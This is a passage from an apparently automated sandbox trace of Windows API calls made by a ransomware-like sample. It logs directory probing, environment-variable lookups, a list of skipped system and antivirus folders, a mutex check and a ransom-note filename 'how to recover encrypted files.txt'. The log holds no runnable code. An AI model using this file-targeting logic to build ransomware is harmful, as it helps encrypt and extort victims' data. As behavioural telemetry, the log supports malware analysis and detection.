nFileSizeHigh=0x330076, nFileSizeLow=0x35002e, dwReserved0=0x650000, dwReserved1=0x650078, cFileName="", cAlternateFileName="㷴Q䱠@伤R企@\x18?T頻\x18q")) returned 0xffffffff [0041.189] GetLastError () returned 0x2 [0041.189] CharLowerBuffW (in: lpsz="C:\\Program Files\\", cchLength=0x11 | out: lpsz="c:\\program files\\") returned 0x11 [0041.189] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69678, cbMultiByte=6, lpWideCharStr=0x18e744, cchWideChar=2047 | out: lpWideCharStr="adobe\\倘RÐ") returned 6 [0041.189] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18e78c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\") returned 7 [0041.189] FindFirstFileW (in: lpFileName="C:\\Program Files\\Oracle", lpFindFileData=0x18f540 | out: lpFindFileData=0x18f540*(dwFileAttributes=0x1d301bf, ftCreationTime.dwLowDateTime=0x6d3a4910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x330076, nFileSizeLow=0x35002e, dwReserved0=0x650000, dwReserved1=0x650078, cFileName="", cAlternateFileName="㷴Q䱠@㺄Q企@\x18?T頻\x18y")) returned 0xffffffff [0041.190] GetLastError () returned 0x2 [0041.190] CharLowerBuffW (in: lpsz="C:\\Program Files\\", cchLength=0x11 | out: lpsz="c:\\program files\\") returned 0x11 [0041.190] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69678, cbMultiByte=7, lpWideCharStr=0x18e744, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0041.190] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18e78c, cchWideChar=2047 | out: lpWideCharStr="Archive") returned 7 [0041.190] FindFirstFileW (in: lpFileName="C:\\Program Files\\Archive", lpFindFileData=0x18f540 | out: lpFindFileData=0x18f540*(dwFileAttributes=0x1d301bf, ftCreationTime.dwLowDateTime=0x6d3a4910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x330076, nFileSizeLow=0x35002e, dwReserved0=0x650000, dwReserved1=0x650078, cFileName="", cAlternateFileName="㷴Q䱠@㳔Q企@\x18?T頻\x18\x81")) returned 0xffffffff [0041.190] GetLastError () returned 0x2 [0041.190] CharLowerBuffW (in: lpsz="C:\\Program Files\\", cchLength=0x11 | out: lpsz="c:\\program files\\") returned 0x11 [0041.190] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69678, cbMultiByte=7, lpWideCharStr=0x18e744, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0041.190] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18e78c, cchWideChar=2047 | out: lpWideCharStr="Backupe") returned 6 [0041.190] FindFirstFileW (in: lpFileName="C:\\Program Files\\Backup", lpFindFileData=0x18f540 | out: lpFindFileData=0x18f540*(dwFileAttributes=0x1d301bf, ftCreationTime.dwLowDateTime=0x6d3a4910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x330076, nFileSizeLow=0x35002e, dwReserved0=0x650000, dwReserved1=0x650078, cFileName="", cAlternateFileName="㷴Q䱠@㶬Q企@\x18?T頻\x18\x88")) returned 0xffffffff [0041.191] GetLastError () returned 0x2 [0041.191] CharLowerBuffW (in: lpsz="C:\\Program Files\\", cchLength=0x11 | out: lpsz="c:\\program files\\") returned 0x11 [0041.191] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69678, cbMultiByte=6, lpWideCharStr=0x18e744, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0041.191] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18e78c, cchWideChar=2047 | out: lpWideCharStr="Reserve") returned 6 [0041.191] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reserv", lpFindFileData=0x18f540 | out: lpFindFileData=0x18f540*(dwFileAttributes=0x1d301bf, ftCreationTime.dwLowDateTime=0x6d3a4910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x330076, nFileSizeLow=0x35002e, dwReserved0=0x650000, dwReserved1=0x650078, cFileName="", cAlternateFileName="㷴Q䱠@㺄Q企@\x18?T頻\x18\x8f")) returned 0xffffffff [0041.191] GetLastError () returned 0x2 [0041.191] CharLowerBuffW (in: lpsz="C:\\Program Files\\", cchLength=0x11 | out: lpsz="c:\\program files\\") returned 0x11 [0041.191] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69678, cbMultiByte=6, lpWideCharStr=0x18e744, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0041.191] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18e78c, cchWideChar=2047 | out: lpWideCharStr="Restore") returned 7 [0041.191] FindFirstFileW (in: lpFileName="C:\\Program Files\\Restore", lpFindFileData=0x18f540 | out: lpFindFileData=0x18f540*(dwFileAttributes=0x1d301bf, ftCreationTime.dwLowDateTime=0x6d3a4910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x330076, nFileSizeLow=0x35002e, dwReserved0=0x650000, dwReserved1=0x650078, cFileName="", cAlternateFileName="㷴Q䱠@㳔Q企@\x18?T頻\x18\x97")) returned 0xffffffff [0041.192] GetLastError () returned 0x2 [0041.192] CharLowerBuffW (in: lpsz="C:\\Program Files\\", cchLength=0x11 | out: lpsz="c:\\program files\\") returned 0x11 [0041.192] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69678, cbMultiByte=7, lpWideCharStr=0x18e744, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0041.192] GlobalLock (hMem=0x44000c) returned 0x520100 [0041.192] GlobalHandle (pMem=0x520100) returned 0x44000c [0041.192] GlobalUnlock (hMem=0x44000c) returned 0 [0041.192] GlobalLock (hMem=0x44000c) returned 0x520100 [0041.192] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.192] GlobalHandle (pMem=0x520100) returned 0x44000c [0041.192] GlobalUnlock (hMem=0x44000c) returned 0 [0041.192] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.192] GlobalUnlock (hMem=0x440004) returned 0 [0041.192] CharLowerBuffW (in: lpsz="C:\\Program Files\\", cchLength=0x11 | out: lpsz="c:\\program files\\") returned 0x11 [0041.192] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18f33c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0041.192] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18e73c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0041.192] CharLowerBuffW (in: lpsz="C:\\Program Files\\", cchLength=0x11 | out: lpsz="c:\\program files\\") returned 0x11 [0041.192] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18f33c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0041.192] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18e73c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\e") returned 46 [0041.193] CharLowerBuffW (in: lpsz="C:\\Program Files\\", cchLength=0x11 | out: lpsz="c:\\program files\\") returned 0x11 [0041.193] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18f33c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0041.193] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18e73c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\e") returned 15 [0041.193] CharLowerBuffW (in: lpsz="C:\\Program Files\\", cchLength=0x11 | out: lpsz="c:\\program files\\") returned 0x11 [0041.193] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18f33c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0041.193] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e694b0, cbMultiByte=11, lpWideCharStr=0x18e73c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\e") returned 11 [0041.193] GlobalLock (hMem=0x440004) returned 0x520100 [0041.193] GlobalHandle (pMem=0x520100) returned 0x440004 [0041.193] GlobalUnlock (hMem=0x440004) returned 0 [0041.193] GlobalLock (hMem=0x440004) returned 0x520100 [0041.193] GlobalLock (hMem=0x44000c) returned 0x54e168 [0041.193] GlobalHandle (pMem=0x520100) returned 0x440004 [0041.193] GlobalUnlock (hMem=0x440004) returned 0 [0041.193] GlobalHandle (pMem=0x54e168) returned 0x44000c [0041.193] GlobalUnlock (hMem=0x44000c) returned 0 [0041.193] CharLowerBuffW (in: lpsz="C:\\Program Files\\", cchLength=0x11 | out: lpsz="c:\\program files\\") returned 0x11 [0041.193] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18e744, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\e") returned 15 [0041.194] CharLowerBuffW (in: lpsz="C:\\Program Files\\", cchLength=0x11 | out: lpsz="c:\\program files\\") returned 0x11 [0041.194] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69678, cbMultiByte=11, lpWideCharStr=0x18e744, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\e") returned 11 [0041.194] CharLowerBuffW (in: lpsz="C:\\Program Files\\", cchLength=0x11 | out: lpsz="c:\\program files\\") returned 0x11 [0041.194] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69678, cbMultiByte=9, lpWideCharStr=0x18e744, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\e") returned 9 [0041.194] CharLowerBuffW (in: lpsz="C:\\Program Files\\", cchLength=0x11 | out: lpsz="c:\\program files\\") returned 0x11 [0041.194] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18e744, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\e") returned 18 [0041.194] CharLowerBuffW (in: lpsz="C:\\Program Files\\", cchLength=0x11 | out: lpsz="c:\\program files\\") returned 0x11 [0041.194] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18e744, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\e") returned 28 [0041.195] CharLowerBuffW (in: lpsz="C:\\Program Files\\", cchLength=0x11 | out: lpsz="c:\\program files\\") returned 0x11 [0041.195] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69678, cbMultiByte=10, lpWideCharStr=0x18e744, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\e") returned 10 [0041.195] CharLowerBuffW (in: lpsz="C:\\Program Files\\", cchLength=0x11 | out: lpsz="c:\\program files\\") returned 0x11 [0041.195] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69678, cbMultiByte=8, lpWideCharStr=0x18e744, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\e") returned 8 [0041.195] CharLowerBuffW (in: lpsz="C:\\Program Files\\", cchLength=0x11 | out: lpsz="c:\\program files\\") returned 0x11 [0041.195] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69678, cbMultiByte=9, lpWideCharStr=0x18e744, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\e") returned 9 [0041.195] CharLowerBuffW (in: lpsz="C:\\Program Files\\", cchLength=0x11 | out: lpsz="c:\\program files\\") returned 0x11 [0041.195] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18e744, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\e") returned 13 [0041.195] GlobalLock (hMem=0x44000c) returned 0x520100 [0041.195] GlobalHandle (pMem=0x520100) returned 0x44000c [0041.195] GlobalUnlock (hMem=0x44000c) returned 0 [0041.195] GlobalLock (hMem=0x44000c) returned 0x520100 [0041.195] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.195] GlobalHandle (pMem=0x520100) returned 0x44000c [0041.195] GlobalUnlock (hMem=0x44000c) returned 0 [0041.196] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.196] GlobalUnlock (hMem=0x440004) returned 0 [0041.196] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61c38, cbMultiByte=3, lpWideCharStr=0x18e798, cchWideChar=2047 | out: lpWideCharStr="*.*\x8e꡴RȨ") returned 3 [0041.196] FindFirstFileW (in: lpFileName="C:\\Program Files\\*.*", lpFindFileData=0x18f864 | out: lpFindFileData=0x18f864*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa3c07790, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa3c07790, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5297a8 [0041.196] FindNextFileW (in: hFindFile=0x5297a8, lpFindFileData=0x18f864 | out: lpFindFileData=0x18f864*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa3c07790, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa3c07790, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.196] FindNextFileW (in: hFindFile=0x5297a8, lpFindFileData=0x18f864 | out: lpFindFileData=0x18f864*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa030c8f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa030c8f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0041.196] FindNextFileW (in: hFindFile=0x5297a8, lpFindFileData=0x18f864 | out: lpFindFileData=0x18f864*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ae853d, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28ae853d, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0041.196] FileTimeToLocalFileTime (in: lpFileTime=0x18f878, lpLocalFileTime=0x18f788 | out: lpLocalFileTime=0x18f788) returned 1 [0041.196] FileTimeToDosDateTime (in: lpFileTime=0x18f788, lpFatDate=0x18f846, lpFatTime=0x18f844 | out: lpFatDate=0x18f846, lpFatTime=0x18f844) returned 1 [0041.196] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.196] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.196] GlobalUnlock (hMem=0x440004) returned 0 [0041.196] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.196] GlobalLock (hMem=0x44000c) returned 0x550178 [0041.196] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.196] GlobalUnlock (hMem=0x440004) returned 0 [0041.196] GlobalHandle (pMem=0x550178) returned 0x44000c [0041.196] GlobalUnlock (hMem=0x44000c) returned 0 [0041.196] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.196] CharLowerBuffW (in: lpsz="desktop.ini", cchLength=0xb | out: lpsz="desktop.ini") returned 0xb [0041.196] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e71c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i÷\x18", lpUsedDefaultChar=0x0) returned 1 [0041.197] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18e71c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="n÷\x18", lpUsedDefaultChar=0x0) returned 1 [0041.197] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e71c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i÷\x18", lpUsedDefaultChar=0x0) returned 1 [0041.197] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e71c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".÷\x18", lpUsedDefaultChar=0x0) returned 1 [0041.197] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18e71c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="p÷\x18", lpUsedDefaultChar=0x0) returned 1 [0041.197] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18e71c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="o÷\x18", lpUsedDefaultChar=0x0) returned 1 [0041.197] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18e71c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="t÷\x18", lpUsedDefaultChar=0x0) returned 1 [0041.197] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18e71c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="k÷\x18", lpUsedDefaultChar=0x0) returned 1 [0041.197] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e71c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="s÷\x18", lpUsedDefaultChar=0x0) returned 1 [0041.197] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e71c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e÷\x18", lpUsedDefaultChar=0x0) returned 1 [0041.197] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e71c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="d÷\x18", lpUsedDefaultChar=0x0) returned 1 [0041.197] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18e724, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0041.197] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\desktop.ini", cchWideChar=28, lpMultiByteStr=0x18e700, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\desktop.ini#M@", lpUsedDefaultChar=0x0) returned 28 [0041.197] CharLowerBuffW (in: lpsz=".ini", cchLength=0x4 | out: lpsz=".ini") returned 0x4 [0041.197] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".ini", cchWideChar=4, lpMultiByteStr=0x18e724, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".iniw", lpUsedDefaultChar=0x0) returned 4 [0041.197] FindNextFileW (in: hFindFile=0x5297a8, lpFindFileData=0x18f864 | out: lpFindFileData=0x18f864*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f9f9510, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f9f9510, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVD Maker", cAlternateFileName="DVDMAK~1")) returned 1 [0041.197] FindNextFileW (in: hFindFile=0x5297a8, lpFindFileData=0x18f864 | out: lpFindFileData=0x18f864*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa029a4d0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa029a4d0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0041.197] FindNextFileW (in: hFindFile=0x5297a8, lpFindFileData=0x18f864 | out: lpFindFileData=0x18f864*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa029a4d0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa029a4d0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="MICROS~2")) returned 1 [0041.197] FindNextFileW (in: hFindFile=0x5297a8, lpFindFileData=0x18f864 | out: lpFindFileData=0x18f864*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x512f1610, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0041.197] FindNextFileW (in: hFindFile=0x5297a8, lpFindFileData=0x18f864 | out: lpFindFileData=0x18f864*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa030c8f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa030c8f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SQL Server Compact Edition", cAlternateFileName="MICROS~3")) returned 1 [0041.197] FindNextFileW (in: hFindFile=0x5297a8, lpFindFileData=0x18f864 | out: lpFindFileData=0x18f864*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa02e6790, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa02e6790, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Sync Framework", cAlternateFileName="MICROS~4")) returned 1 [0041.197] FindNextFileW (in: hFindFile=0x5297a8, lpFindFileData=0x18f864 | out: lpFindFileData=0x18f864*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9f9f9510, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f9f9510, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Synchronization Services", cAlternateFileName="MID7C0~1")) returned 1 [0041.197] FindNextFileW (in: hFindFile=0x5297a8, lpFindFileData=0x18f864 | out: lpFindFileData=0x18f864*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa0bf9b70, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0bf9b70, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0041.197] FindNextFileW (in: hFindFile=0x5297a8, lpFindFileData=0x18f864 | out: lpFindFileData=0x18f864*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ff083d0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff083d0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0041.197] FindNextFileW (in: hFindFile=0x5297a8, lpFindFileData=0x18f864 | out: lpFindFileData=0x18f864*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x9ffecc10, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ffecc10, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1 [0041.197] FindNextFileW (in: hFindFile=0x5297a8, lpFindFileData=0x18f864 | out: lpFindFileData=0x18f864*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, 